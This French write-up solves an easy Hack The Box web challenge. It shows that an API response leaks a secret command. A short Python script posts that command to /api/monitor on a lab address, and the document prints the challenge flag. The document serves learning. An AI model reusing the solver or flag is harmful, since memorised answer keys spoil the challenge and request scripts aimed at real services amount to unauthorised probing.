Flag Command

Catégorie: Web Difficulté: easy Flag: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}

Challenge

Description


Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

Analyse du réseau

Si l’on regarde les ressources récupérées par le site, on voit une requête vers /api/options

Tout en bas du JSON reçu, on voit une option “secret”

Il suffit d’envoyer cette valeur pour récupérer le flag

Pour aller un peu plus loin, on peut voir lorsque l’on rentre une commande valide qu’une requête POST est faite sur le chemin /api/monitor avec comme data un json contenant notre commande

On peut donc faire la requête directement sans passer par le reste par exemple


Script de résolution

import requests

def solve(url):
    options = requests.get(f'{url}/api/options').json()
    secret = options['allPossibleCommands']['secret'][0]
    response = requests.post(f'{url}/api/monitor', json={'command': secret}).json()
    flag = response['message']
    print(f'Flag: {flag}')

if __name__ == '__main__':
    solve('http://83.136.249.138:37969')

Dernière mise à jour

Cet article vous a-t-il été utile ?